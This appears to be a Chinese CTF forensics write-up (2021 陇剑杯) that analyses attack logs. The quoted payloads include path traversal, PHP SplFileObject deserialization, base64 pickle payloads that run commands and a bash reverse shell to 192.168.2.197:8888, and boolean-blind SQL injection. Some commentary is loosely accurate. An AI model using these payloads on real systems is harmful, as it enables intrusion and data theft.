题目:2021陇剑杯
日志分析1——3
<https://forensics.didctf.com/challenges#%E6%97%A5%E5%BF%97%E5%88%86%E6%9E%90-1-8>
1,单位某应用程序被攻击,请分析日志,进行作答:
网络存在源码泄漏,源码文件名是 www.zip
推测日志记录了响应码为200的请求,在其中就包括着攻击者请求网站源码资源
cat access.log| grep "200"
2,分析攻击流量,黑客往/tmp目录写入一个文件,
文件名为___
cat access.log| grep "tmp"
这段日志信息来自 Web 服务器的访问日志,可以从中提取出一些潜在的安全问题和访问模式。以下是对这些日志条目的分析:
第一条日志:
- IP 地址: 172.17.0.1 是内网 IP 地址,可能是来自同一网络内部的请求。
- 请求方法: GET 请求。
- 请求路径: /tmp%2f。%2f 是 URL 编码的斜杠 (/),意味着请求尝试访问 /tmp/ 目录。这通常用于尝试访问系统的临时文件目录,这个目录一般包含敏感数据或系统缓存。
- 响应状态码: 404,表示请求的资源不存在。即,服务器没有找到 /tmp/ 路径。
- User-Agent: 请求是通过 Chrome 浏览器发出的,使用的是 Mac OS X 10.15.7 操作系统。
第二条和第三条日志:
这两条日志几乎完全相同,可能是重复的请求。以下是它们的具体分析:
- 请求路径: /,并且带有大量的 URL 编码参数(filename, content, paths 等)。这些参数内容似乎与漏洞利用或攻击相关。
- filename=..%2F..%2F..%2F...%2Ftmp%2Fsess_car:路径遍历攻击的常见特征,尝试访问系统目录,如 /tmp/。
- content=func%7CN%3Bfiles%7Ca%3A2...:这部分看起来像是伪造的 PHP 代码或反序列化攻击尝试。它涉及到 PHP 函数(如 call_user_func_array)和路径(/files/filename),并可能试图执行未授权的文件。
- paths=...SplFileObject:SplFileObject 是 PHP 中用于处理文件的类,这可能是攻击者尝试通过文件操作获取敏感数据(如 /flag)的一种方式。
- 响应状态码: 302,表示请求被重定向。这通常表明服务器对请求做出了某种响应,可能是转向了一个登录页或错误页面。
- User-Agent: python-requests/2.26.0,表示这个请求是由 Python 脚本(或某个自动化工具)发出的,而非普通的浏览器。
潜在的安全风险:
- 路径遍历攻击:第二条和第三条日志中的 filename 参数使用了 URL 编码的 ../,这表明攻击者试图通过路径遍历访问服务器上的文件(如 /tmp/sess_car)。如果服务器没有适当的路径限制和安全措施,攻击者可能会访问敏感文件。
- 代码注入:请求中有疑似 PHP 代码注入的迹象,尤其是 call_user_func_array 和 SplFileObject 的使用。这些可能是攻击者通过反序列化漏洞或其他方式注入恶意代码,试图在服务器上执行不当的操作,如读取敏感文件。
- 自动化攻击:请求是由 python-requests/2.26.0 发出的,通常这表明攻击者使用了自动化工具进行扫描或攻击。这种攻击一般会以更高频率进行,尝试找到漏洞并利用它们。
3,分析攻击流量,黑客使用的是__类读取了秘密文件。SplFileObject
从上面对攻击流量分析就能得到攻击者使用SplFileObject 读取了密码文件。
SplFileObject 是 PHP 中用于处理文件的一个类,它是 PHP 标准库(SPL,Standard PHP Library)的一部分。这个类简化了文件操作,提供了一个面向对象的接口来读取、写入和处理文件内容。它允许开发者以面向对象的方式处理文件,同时提供了一些高级功能,如文件的逐行读取、读取文件内容并以数组形式返回、写入文件等。
基本用法
- 创建 SplFileObject 对象:
$file = new SplFileObject('example.txt', 'r'); // 打开文件进行读取 - 读取文件:
- 逐行读取文件:
while (!$file->eof()) {
echo $file->fgets(); // 输出每一行
} - 将文件内容作为数组读取:
$file->setFlags(SplFileObject::READ_AHEAD); // 可选:优化性能
$lines = iterator_to_array($file); // 将文件内容读取到数组中
- 逐行读取文件:
- 写入文件:
$file = new SplFileObject('example.txt', 'w'); // 打开文件进行写入
$file->fwrite("Hello, World!"); - 获取文件的元数据:
$file = new SplFileObject('example.txt');
echo $file->getSize(); // 获取文件大小
echo $file->getFileName(); // 获取文件名
与安全相关的用途
SplFileObject 类本身没有直接的安全漏洞,但是如果不谨慎使用它,可能会引入一些安全隐患。以下是一些需要特别小心的安全问题:
- 文件路径注入漏洞:如果开发者允许用户输入文件路径,并使用 SplFileObject 直接操作文件,攻击者可能会利用路径遍历漏洞访问服务器上的敏感文件(例如 /etc/passwd 或 /flag)。
- 文件内容操控:如果不对文件内容进行适当的过滤或验证,攻击者可能通过上传恶意文件并利用 SplFileObject 读取或执行其中的恶意代码。
示例:恶意利用
攻击者可能会尝试通过控制 SplFileObject 的行为来访问敏感文件。例如,如果应用程序接受文件路径并读取文件内容,且没有对输入路径进行严格验证,攻击者可以构造类似以下的输入:
?filename=../../../etc/passwd
这可能会导致 SplFileObject 读取服务器上的 /etc/passwd 文件,泄露系统信息。为了防止这种情况,应该对文件路径进行严格的验证,限制用户能够访问的文件位置,并且避免使用用户输入直接作为文件路径。
安全防护建议
- 路径验证:确保任何通过用户输入指定的文件路径都经过严格验证,避免路径遍历攻击。
- 文件权限控制:确保文件操作限制在应用程序可以访问的目录范围内,避免暴露敏感文件。
- 避免直接输出文件内容:如果必须输出文件内容,确保不执行任何用户输入的内容,尤其是在涉及代码执行的环境中。
简单日志分析1——3
<https://forensics.didctf.com/challenges#%E7%AE%80%E5%8D%95%E6%97%A5%E5%BF%97%E5%88%86%E6%9E%90-1-11>
1,某应用程序被攻击,请分析日志后作答:黑客攻击的参数是___。(如有字母请全部使用小写)user
cat app.log | grep "500"
从这三条日志可以看到一些潜在的攻击模式。它们都指向了相同的目标:在 URL 查询参数中传递经过编码的 user 参数,这些参数可能是加密或经过编码的敏感数据。所有这三条请求均返回了 500 Internal Server Error 状态码,表明服务器遇到了问题并未成功处理请求。以下是详细的日志分析:
分析:
1. 日志条目结构
每条日志的基本结构如下:
127.0.0.1 - - [07/Aug/2021 10:43:12] "GET /?user=<encoded_data> HTTP/1.1" 500 -
- IP 地址:127.0.0.1 是本地主机(localhost)的 IP 地址,这意味着这些请求来自服务器自身。通常,这是自动化脚本或内部程序发出的请求,而不是用户直接访问。
- 请求方法:GET 方法,表示客户端请求资源。
- 请求路径:/?user=<encoded_data>,请求的 URL 包含一个查询参数 user,该参数的值是经过编码或加密的数据。
- 响应状态码:500 Internal Server Error,表示服务器在处理请求时遇到了内部错误,通常是由于代码或配置的问题。
2. 请求的 user 参数内容
每条日志的 user 参数值看起来都是经过编码的数据(如 Base64 编码)。这些编码数据并不是直接的人类可读内容,可能代表某种加密数据,或者是故意混淆以绕过安全检测。我们可以分析这些参数并尝试解码。
请求 1:
user=STAKcDAKMFMnd2hvYW1pJwpwMQowKGcwCmxwMgowKEkwCnRwMwowKGczCkkwCmRwNAowY29zCnN5c3RlbQpwNQowZzUKKGcxCnRSLg==
- 解码后,得到的内容仍然是某种混淆或编码后的数据,包含可能的用户信息和操作。需要进一步分析数据格式来确定其含义。
请求 2:
user=STAKcDAKMFMnY2F0IC9UaDRzX0lTX1ZFUllfSW1wb3J0X0ZpMWUnCnAxCjAoZzAKbHAyCjAoSTAKdHAzCjAoZzMKSTAKZHA0CjBjb3MKc3lzdGVtCnA1CjBnNQooZzEKdFIu
- 这段 Base64 编码的数据也很长,解码后可能涉及复杂的操作。看起来像是某种伪造的请求或远程代码执行的攻击尝试。
请求 3:
user=STAKcDAKMFMnYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjIuMTk3Lzg4ODggMD4mMScKcDEKMChnMApscDIKMChJMAp0cDMKMChnMwpJMApkcDQKMGNvcwpzeXN0ZW0KcDUKMGc1CihnMQp0Ui4=
- 这段 Base64 编码的数据也可以看出某些混淆信息,可能尝试通过编码绕过常规检测机制。这些编码可能代表了一个恶意的查询或命令。
3. 响应 500 错误分析
- 500 状态码表示服务器遇到内部错误。这通常是由于应用程序代码在处理请求时出现异常或崩溃所导致的。在这种情况下,可能是服务器试图解码或处理这些复杂、恶意的输入时出错。
可能的原因包括:- 输入数据格式不符合预期,导致服务器端代码在解析时抛出异常。
- 如果这些请求包含恶意代码或有漏洞利用的企图,服务器可能因为处理错误或安全防护机制(如输入验证)而中止了请求。
- 代码或数据库查询错误:某些恶意或不规范的请求可能会导致数据库查询或逻辑错误,从而触发 500 错误。
4. 潜在的攻击模式
- 注入攻击:这些经过编码或加密的 user 参数可能是尝试通过注入恶意代码来攻击服务器。通过特殊构造的参数,攻击者可能希望绕过输入验证或过滤机制,执行未授权的操作或获取敏感数据。
- 远程代码执行(RCE)尝试:某些请求中包含了复杂的字符串,可能试图触发远程代码执行漏洞或其他安全漏洞,特别是在解析这些参数时可能存在反序列化漏洞、命令注入漏洞等。
- 伪造请求:这些请求看似无害,但实际可能是伪造请求,旨在通过编码数据来混淆攻击意图,可能绕过传统的防火墙或入侵检测系统。
2,黑客查看的秘密文件的绝对路径是___。(不带 / )
通过第一题的分析,我们知道黑客通过user参数执行了攻击命令,并通过页面的报错回显得了命令回显。所以可以解码黑客传递的内容来继续进行分析
第二条请求/?user=后面解码得到cat /Th4s_IS_VERY_Import_Fi1e
3,黑客反弹shell的ip和端口是___。(格式使用“ip:端口",例如127.0.0.1:2333)192.168.2.197:8888
STAKcDAKMFMnYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjIuMTk3Lzg4ODggMD4mMScKcDEKMChnMApscDIKMChJMAp0cDMKMChnMwpJMApkcDQKMGNvcwpzeXN0ZW0KcDUKMGc1CihnMQp0Ui4=
然后经过URL解码,取+后面的进行base64解码
STAKcDAKMFMnYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTk3Lzg4ODggMD4mMScKcDEKMChnMApscDIKMChJMAp0cDMKMChnMwpJMApkcDQKMGNvcwpzeXN0ZW0KcDUKMGc1CihnMQp0Ui4=
SQL注入1——3
1,某应用程序被攻击,请分析日志后作答:黑客在注入过程中采用的注入手法叫___。(格式为4个汉字,例如“拼搏努力”)
cat access.log|grep "200"
1. IP 地址:
- 172.17.0.1:这是请求来自本地主机的 IP 地址。此 IP 地址通常表示在同一网络环境中的另一台机器,或者是服务器内部发送的请求。
2. 请求时间:
- [01/Sep/2021:01:37:25 +0000]:请求发生的时间是 2021年9月1日 01:37:25 UTC。
3. 请求内容:
- 请求方法:GET
- 请求路径:/index.php
- 查询参数:id=1 and if(substr(database(),1,1) = '%C2%80',1,(select table_name from information_schema.tables))
请求中包含了一个 id 查询参数,值为:
1 and if(substr(database(),1,1) = '%C2%80',1,(select table_name from information_schema.tables))- substr(database(), 1, 1):这是一个 SQL 函数,意图获取当前数据库的名字的第一个字符。database() 是 MySQL 中的函数,返回当前数据库的名称。substr(database(), 1, 1) 获取该名称的第一个字符。
- if(substr(database(),1,1) = '%C2%80', 1, (select table_name from information_schema.tables)):这部分代码执行了条件判断,如果 substr(database(), 1, 1) 的结果等于 %C2%80(一个 UTF-8 编码的非打印字符),则返回 1;否则,执行 select table_name from information_schema.tables 查询,获取数据库中的所有表名。
4. 响应状态码:
- 200:表示服务器成功处理了请求。即使请求中包含 SQL 注入代码,服务器并未报错,表明应用可能没有正确的 SQL 注入防护。
5. 响应大小:
- 422:这是返回的响应体大小,表示返回了 422 字节的内容。
6. 用户代理:
- "python-requests/2.26.0":这表明请求是由 Python 的 requests 库发出的,通常意味着攻击是通过编程脚本发起的,而不是由浏览器用户发起。
分析:
这个请求明显是一个 SQL 注入攻击,攻击者试图通过在 URL 中注入恶意的 SQL 代码来获取数据库中的信息。
1. SQL 注入的目的:
- 攻击者试图利用 SQL 注入漏洞执行条件查询:
- substr(database(), 1, 1) 获取当前数据库的第一个字符,%C2%80 是一个 UTF-8 编码的字符,可能是为了绕过某些检测机制,检查数据库名称的第一个字符是否符合该值。
- 如果判断条件失败(即数据库名称的第一个字符不等于 %C2%80),则执行 select table_name from information_schema.tables,该查询返回数据库中所有表的名称。
2. 潜在的攻击目标:
- 获取数据库信息:通过查询 information_schema.tables,攻击者可以获取数据库中的所有表名称,从而了解数据库的结构,为进一步的攻击做好准备。
- 信息泄露:如果没有防护,攻击者可能进一步利用这些表名进行数据泄露或操作,甚至执行更深层次的 SQL 注入攻击(例如:获取敏感数据、删除数据等)。
3. 服务器响应 200:
- 服务器返回了 200 状态码,这意味着服务器成功处理了请求,尽管请求包含 SQL 注入代码。这表明应用程序未能有效地阻止这种恶意行为。
4. 用户代理(python-requests):
- 攻击者使用了 Python requests 库,这通常意味着攻击是通过脚本自动发起的,而不是通过正常的浏览器访问。这表明攻击是自动化的,且攻击者可能在进行批量攻击。
过滤出有成功回显的内容,这些请求都有明显的SQL注入的特征,
根据注入payload特征,使用了substr()函数,推断使用了布尔盲注
2,黑客在注入过程中,最终获取flag的数据库名、表名和字段名是___。(格式为“数据库名#表名#字段名”,例如
database#table#column)sqli#flag#flag
要过滤出数据库名就过滤tables_schema=
要过滤出数据表名就过滤tables_name=
要知道字段名。攻击者开始爆破字段的时候意味着攻击者已经读取了数据库和数据表名,只待布尔盲注从数据库当中取出字段名。根据这些特征与信息就能进行针对过滤
那么字段就是flag
3,黑客最后获取到的flag字符串为__。
解题python脚本
# coding : utf-8
import re
from urllib.parse import unquote
file_name = "access.log"
pattern_string = "select%20flag%20from%20sqli.flag"
flag = ''
# 打开文件以及读取行数
get_File = open(file_name, "r+")
get_line = get_File.readline()
while get_line:
get_Data = re.search(pattern_string, get_line)
if get_Data:
get_Data_Num = re.search(r'4[7-8][0-1]?.*', get_Data.string)
if get_Data_Num:
flag += (re.findall(r"%20=%20\'(.+?)\'", get_Data_Num.string))[0]
print(unquote(flag[:-1], 'utf-8'))
get_line = get_File.readline()
get_File.close()
这段 Python 脚本的主要功能是从指定的日志文件中读取每一行,并检查是否包含与 SQL 注入相关的特定模式(例如,SQL 查询字符串 select%20flag%20from%20sqli.flag)。如果符合条件,它进一步从中提取 flag 数据并解码后打印出来。
1. 引入模块
import re
from urllib.parse import unquote
- re:用于正则表达式的匹配和查找操作。
- urllib.parse.unquote:用于 URL 解码,将 URL 编码(例如 %20)的字符串转换为普通文本。
2. 初始化变量
file_name = "access_1.log"
pattern_string = "select%20flag%20from%20sqli.flag"
flag = ''
- file_name:指定要读取的日志文件名 "access_1.log"。
- pattern_string:SQL 查询的特征字符串 "select%20flag%20from%20sqli.flag",用于查找日志中的 SQL 注入特征。%20 是 URL 编码的空格字符。
- flag:用于存储从日志中提取的 flag 数据。
3. 打开文件并逐行读取
get_File = open(file_name, "r+")
get_line = get_File.readline()
- 打开 access_1.log 文件,使用 "r+" 模式表示以读写模式打开文件。如果文件不存在或者有其他问题,程序会抛出错误。
- get_line:读取文件的第一行内容。
4. 处理每一行数据
while get_line:
- while get_line:逐行读取文件,直到文件结束。
正则表达式匹配
get_Data = re.search(pattern_string, get_line)
- 在每一行日志中,使用 re.search() 查找是否包含 SQL 查询特征 select%20flag%20from%20sqli.flag。
- 如果找到匹配,get_Data 会是一个匹配对象;如果没有找到,则 get_Data 为 None。
进一步验证条件
if get_Data:
get_Data_Num = re.search(r'4[7-8][0-1]?.*', get_Data.string)
if get_Data_Num:
flag += (re.findall(r"%20=%20\'(.+?)\'", get_Data_Num.string))[0]
print(unquote(flag[:-1], 'utf-8'))
- 如果 get_Data 不为 None,表示找到了 SQL 查询特征,接着:
- 使用正则表达式 r'4[7-8][0-1]?.*' 进一步检查是否匹配到某种特定模式。这个正则表达式尝试匹配某些特定的字符串,比如 HTTP 响应状态码(以 47 或 48 开头的状态码),这通常与 SQL 注入攻击中的响应行为有关。
- 如果 get_Data_Num 匹配成功,表示这行数据可能包含 SQL 注入相关信息,接着使用 re.findall(r"%20=%20\'(.+?)\'", get_Data_Num.string) 从匹配的字符串中提取 URL 编码的 flag 部分(提取 = 后面引号中的内容)。
- 提取的 flag 被追加到 flag 字符串中。flag 中的内容是 URL 编码的字符串。
- unquote(flag[:-1], 'utf-8'):对提取到的 URL 编码内容进行解码,去掉 flag 字符串末尾的一个字符(因为可能会多余一个字符),然后打印解码后的内容。
5. 读取下一行数据
get_line = get_File.readline()
- 继续读取文件的下一行。
6. 关闭文件
get_File.close()
- 关闭文件,结束文件读取操作。
7. 功能总结
- 目标:脚本从指定的日志文件 (access_1.log) 中查找可能的 SQL 注入攻击,并提取其中包含的 flag 数据。
- 处理流程:
- 打开并逐行读取日志文件。
- 使用正则表达式匹配 SQL 注入攻击特征(如 select%20flag%20from%20sqli.flag)。
- 如果找到匹配的日志行,继续搜索可能的数字模式(如 HTTP 状态码 47 或 48 开头的响应)。
- 从匹配的日志中提取 URL 编码的 flag 值。
- 对 flag 进行 URL 解码并打印结果。
- 输出:如果日志中包含与 SQL 注入相关的 flag,它将被解码并打印出来。